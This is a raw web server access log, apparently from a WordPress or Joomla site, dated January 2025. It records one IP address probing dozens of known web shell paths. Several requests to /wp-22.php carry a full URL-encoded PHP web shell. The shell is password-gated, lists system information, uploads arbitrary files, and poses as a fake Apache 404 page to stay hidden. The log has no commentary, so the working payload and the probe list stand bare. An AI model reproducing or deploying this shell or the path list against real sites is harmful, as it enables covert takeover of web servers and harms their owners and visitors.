/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /404.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /wp-includes/css/css.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:21 +0530] "GET /xhell.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:23 +0530] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:25 +0530] "GET /wp-content/mu-plugins-old/iimzloqncz.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:28 +0530] "GET /wp-includes/fw.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:28 +0530] "GET /anone.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:30 +0530] "GET /wp-admin/wso112233.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:31 +0530] "GET /wp-admin/css/modern/colors.css.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:32 +0530] "GET /wp-includes/pomo/ex.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:32 +0530] "GET /wp-admin/includes/class-wp-pagebuilders-9LlwKf.php HTTP/1.1" 302 270 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:33 +0530] "GET /wp-admin/includes/maint/repair-bak.php HTTP/1.1" 302 258 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:34 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:35 +0530] "GET /content.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:36 +0530] "GET /wp-content/wp.php HTTP/1.1" 302 237 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:36 +0530] "GET /wp-admin/css/fw.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:38 +0530] "GET /sh.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:38 +0530] "GET /4index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /templates/ja_purity/index.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /beence.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /ok.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /41.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-content/themes/astra/content-index.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-admin/css/index.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-blog-post.php HTTP/1.1" 302 236 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /alfashell.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-signin.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /hello.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-admin/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /dr.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 302 272 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /p.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /autoload_classmap.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-admin/maint/fw.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-content/languages/sidwso.php HTTP/1.1" 302 251 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-includes/bala.php HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-admin/fx.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /old-index.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-ad.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /xleet-shell.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /alwso.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-includes/class-wp-query.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /V5.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /098.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:39 +0530] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:40 +0530] "GET /FoxWSOv1.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:40 +0530] "GET /404.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:41 +0530] "GET /wp_wrong_datlib.php HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:41 +0530] "GET /0byte.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:41 +0530] "GET /wp-content/.wp-back.phP HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:45 +0530] "GET /nasgor.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:45 +0530] "GET /templates/beez3/error.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:45 +0530] "GET /f.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:46 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:47 +0530] "GET /libraries/joomla/jmails.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:47 +0530] "GET /wp-includes/bala.php HTTP/1.1" 302 240 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:48 +0530] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:50 +0530] "GET /hello.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:50 +0530] "GET /DKIZ.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 